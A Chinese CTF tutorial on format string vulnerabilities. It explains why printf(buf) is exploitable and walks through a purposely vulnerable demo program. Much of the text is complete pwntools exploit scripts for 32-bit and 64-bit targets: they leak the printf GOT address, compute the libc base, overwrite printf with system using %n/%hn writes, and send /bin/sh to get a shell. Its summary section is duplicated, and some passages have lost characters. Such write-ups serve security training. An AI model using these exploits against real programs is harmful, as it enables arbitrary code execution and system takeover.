0x00 前言

格式化字符串漏洞是PWN题常见的考察点,仅次于栈溢出漏洞。

漏洞原因:程序使用了格式化字符串作为参数,并且格式化字符串为用户可控。

其中触发格式化字符串漏洞函数主要printfsprintffprintfprin等C库中print家族的函数。

0x01 格式化字符串漏洞

1.1 格式化字符串漏洞形成原因

正常的 printf用法:

#include <stdio.h>int main(){ char str[100]; scanf("%s",str); printf("%s",str);return 0;}

错误的printf写法:

#include <stdio.h>int main(){ char str[100]; scanf("%s",str); printf(str);return 0;}

程序将格式化字符串的输入权交给用户,printf函数并不知道参数个数,它的内部有个指针,用来索检格式化字符串。对于特定类型%,就去取相应参数的值,直到索检到格式化字符串结束。

所以没有参数,代码也会将format string 后面的内存当做参数以16进制输出。这样就会造成内存泄露。

1.2 格式化说明符

%d - 十进制 - 输出十进制整数%s - 字符串 - 从内存中读取字符串%x - 十六进制 - 输出十六进制数%c - 字符 - 输出字符%p - 指针 - 指针地址%n - 到目前为止所写的字符数

0x02 举个例子

栗子是学哥给的,学哥知道我要写pwn文,学哥可高兴了,给我爱做的格式化字符串。

#include <stdio.h>#include <stdlib.h>int flag = 1;char * output = "bye~";void init(){    setvbuf(stdin, 0LL, 2, 0LL);    setvbuf(stdout, 0LL, 2, 0LL);    setvbuf(stderr, 0LL, 2, 0LL);}int main(int argc, char const *argv[]){    init();    char buf[0x100];    while(flag)    {        read(0, buf, 0x100);        printf(buf);    }    puts(output);    return 0;}

2.1 解题思路

这个程序意思就是把你的输入原样打出,因为存在格式化字符串漏洞,所以我们就可以通过漏洞点去泄漏出got表地址,然后计算出libc基地址然后通过格式化字符串任意写地址把printf 地址改写成system地址,然后发送一个/bin/sh

因为printf会打印出你所输入的内容,我们上面修改了printfsystem,原本是printf(buf) buf为你输入的内容,但是我们改写了以后就成了system(buf) buf为我们的/bin/sh 就成了system(/bin/sh),从而拿到了shell

2.2 动手

编译一下~然后就根据我们上面的思路来一步一步完成我的登基大业。

gcc -m32 -no-pie -o demo demo.c

(1)祭出格式化字符串大杀器之%p


(2)可以计算出偏移为11,也就是第11位会泄漏出我们的输入,那我们就可以获取printfgot表里面的真实地址。

p.send(p32(printf)+'%11$s')
addr = u32(p.recv()[4:8])print "addr===>"+hex(addr)

(3)然后需要获得这个libc的基地址,用我们泄漏出来的地址减去printf的偏移就得到了libc的基地址。

libcbase = addr - libc.sym['printf']log.debug(hex(libc.sym['printf']))print "libcbase====>"+hex(libcbase)

(4)得到libc基地址后我们要改写printfsystem,但是我们不知道system的地址,就需要算出system的地址

system = libcbase + libc.sym['system']print("system===>"+hex(system))

(5)改写printfsystem fmtstr_payloadpwntools里面的一个工具,用来简化对格式化字符串漏洞的构造工作,我们也用这个来改写printf

payload = fmtstr_payload(11,{printf:system})

(6)我们gdb调试一下,看看是不是被改写了。

(7)后续我们的参数都是在system里面执行的了。

(8)拿到了shell

2.3 完整的exp

import sysfrom pwn import *context.log_level = 'debug'if sys.argv[1] =='p':    p = process('./demo')else:    p = remote('',)
offset =  11
elf = ELF('./demo')libc = ELF('/lib/i386-linux-gnu/libc.so.6')
printf = elf.got['printf']
p.send(p32(printf)+'%11$s')
addr = u32(p.recv()[4:8])print "addr===>"+hex(addr)
libcbase = addr - libc.sym['printf']log.debug(hex(libc.sym['printf']))print "libcbase====>"+hex(libcbase)
system = libcbase + libc.sym['system']print("system===>"+hex(system))
payload = fmtstr_payload(11,{printf:system})

p.send(payload)
gdb.attach(p)p.send('/bin/sh\x00')
p.interactive()

0X03 64位格式化字符串利用方法

(1) 这个64位思路和这个32位是差不多的,但是还是有区别的不能直接用fmtstr_payload去改写printf,下面就来看一下具体是怎么操作的。

(2)前面的偏移基本上不变,就是泄漏printfgot真实地址的时候有点区别,来看一下吧。

p.send(p64(printf_add)+ '%9$s' )prinf_addr  =  u64(p.recv()[4:10].ljust(0x8,"\x00"))log.debug("prinf_addr===>"+hex(prinf_addr))

为什么就不行呢?因为在发送的时候\x00一般都为字符串的结束,也就是被\x00截断了。

(3)我们就要把地址放在字符串的后面,这样我们就泄漏出来了地址。

p.send('aaaa' + '%9$s' + p64(printf_add))prinf_addr  =  u64(p.recv()[4:10].ljust(0x8,"\x00"))log.debug("prinf_addr===>"+hex(prinf_addr))

(4)还是计算基地址和system

libc_base =  prinf_addr - libc.sym['printf']print ('libc_base====>'+hex(libc_base))
system_addr = libc_base + libc.sym['system']print('system_addr====>'+hex(system_addr))

(5)前面也是说了,64位不和32位一样,不能直接通过fmtstr_payload 去改写地址,要一点一点一点一点一点一点一点一点地写,好我们来写,先贴一下payload然后一点一点来讲。

def fmt_x64_small(offset, address, context):    ofz = offset + 5    bit1 = context & 0xffff    bit2 = (0x10000 - bit1) + ((context >> 16) & 0xffff)    bit3 = (0x20000 - bit2 - bit1) + ((context >> 32) & 0xffff)    payload = "%{0}c%{1}$hn".format(bit1,ofz)    payload += "%{0}c%{1}$hn".format(bit2,ofz+1)    payload += "%{0}c%{1}$hn".format(bit3,ofz+2)    payload += ((5 * 0x8) - len(payload))*"a"    payload += p64(address)    payload += p64(address + 2)    payload += p64(address + 4)    return payload

(6)举个学哥的栗子,就是写入0x23cc的时候,要先写入cc%204c%1$hhn,写入0x23的时候如果还是用写入 %35c%2$hhn 就会变成204+35 所以就要 (0x100-0xcc + 0x23) 就是 就变成了0x123因为 $hhn 只读两字节所以就变成了0x23,这就写进去了。

def fmt_x64_small(offset, address, context):    ofz = offset + 5    bit1 = context & 0xffff    bit2 = (0x10000 - bit1) + ((context >> 16) & 0xffff)    bit3 = (0x20000 - bit2 - bit1) + ((context >> 32) & 0xffff)    payload = "%{0}c%{1}$hn".format(bit1,ofz)    payload += "%{0}c%{1}$hn".format(bit2,ofz+1)    payload += "%{0}c%{1}$hn".format(bit3,ofz+2)    payload += ((5 * 0x8) - len(payload))*"a"    payload += p64(address)    payload += p64(address + 2)    payload += p64(address + 4)    return payload    #May cause IO errors    #0x41payload = fmt_x64_small(8, elf.got["printf"], system_addr)

(7) 这个+5,是因为payload长度为40/8就加5,如果不加5就会指向payload里面的地址,加5以后就指向了后面的地址,然后改写为system

system = 0x7f6f835403a00x3a0 = context & 0xffff
0x8345 = (0x10000 - bit1) + ((context >> 16) & 0xffff)
0x7f6f = (0x20000 - bit2 - bit1) + ((context >> 32) & 0xffff)然后 这个((5 * 0x8) - len(payload))*"a"是用来对齐的然后就往printf写。

(8) 用下面的构造好的函数写入,就和32位的fmtstr_payload差不多,只不过一个是用别人的,一个是自己实现。

payload = fmt_x64_small(8, elf.got["printf"], system_addr)

(9)现在还是printf

(10)已经成了system然后就非常的熟悉了,发送lsx00 然后看一下执行没,就成功执行。

(11)看剑。

0x04 总结一下

printf格式化字符串的利用能够完成很多事情,栈泄露,存泄露,任意地址的读写,实际的CTF比赛,都会对格式化字符串进行检查或对长度、内容加以限制,这时候我们需要将格式化字符串利用与其他手段结合起来使用。


# -*- coding: utf-8 -*-
# @Author: E4
# @Date:   2021-06-04 15:56:41
# @Last Modified by:   E4
# @Last Modified time: 2021-06-05 09:57:04
import sys
from pwn import *
context.log_level = 'debug'
if sys.argv[1] =='p':
    p = process('./demo64')
else:
    p = remote('',)

def pianyi(pwn_name,x = 'x'):
    print('pwn_name=' + pwn_name + ',x=' + x)
    i = 0
    while True :
        r = process('./demo64') 
        i += 1
        payload = 'a'*4 + '.' + '%' + str(i) + '$' + '8x'
        r.sendline(payload)
        r.recvuntil("aaaa.")
        r_recv = r.recv(8)
        print('*'*10 + r_recv + '*'*10)
        if r_recv == '61616161':
            print(payload)
            if x == 'x':
                s = '%' + str(i) + '$8x'
            else :
                s = '%' + str(i) + '$8' + str(x)
            return s
            break

# offset = pianyi('./demo64')

# print(offset)
offset = 8

elf = ELF('demo64')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

printf_add = elf.got['printf']
print ('got===`'+hex(printf_add))

p.send('aaaa' + '%9$s' + p64(printf_add))
prinf_addr  =  u64(p.recv()[4:10].ljust(0x8,"\x00"))
log.debug("prinf_got===>"+hex(prinf_addr))

libc_base =  prinf_addr - libc.sym['printf']
print ('libc_base====>'+hex(libc_base))

system_addr = libc_base + libc.sym['system']
print('system_addr====>'+hex(system_addr))

def fmt_x64_small(offset, address, context):
    ofz = offset + 5
    bit1 = context & 0xffff
    bit2 = (0x10000 - bit1) + ((context >> 16) & 0xffff)
    bit3 = (0x20000 - bit2 - bit1) + ((context >> 32) & 0xffff)
    payload = "%{0}c%{1}$hn".format(bit1,ofz)
    payload += "%{0}c%{1}$hn".format(bit2,ofz+1)
    payload += "%{0}c%{1}$hn".format(bit3,ofz+2)
    payload += ((5 * 0x8) - len(payload))*"a"
    payload += p64(address)
    payload += p64(address + 2)
    payload += p64(address + 4)
    return payload
    #May cause IO errors
    #0x41
payload = fmt_x64_small(8, elf.got["printf"], system_addr)
p.send(payload)
p.send('/bin/sh\x00')
p.interactive()

0x04 总结一下

printf格式化字符串的利用能够完成很多事情,栈泄露,存泄露,任意地址的读写,实际的CTF比赛,都会对格式化字符串进行检查或对长度、内容加以限制,这时候我们需要将格式化字符串利用与其他手段结合起来使用。

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。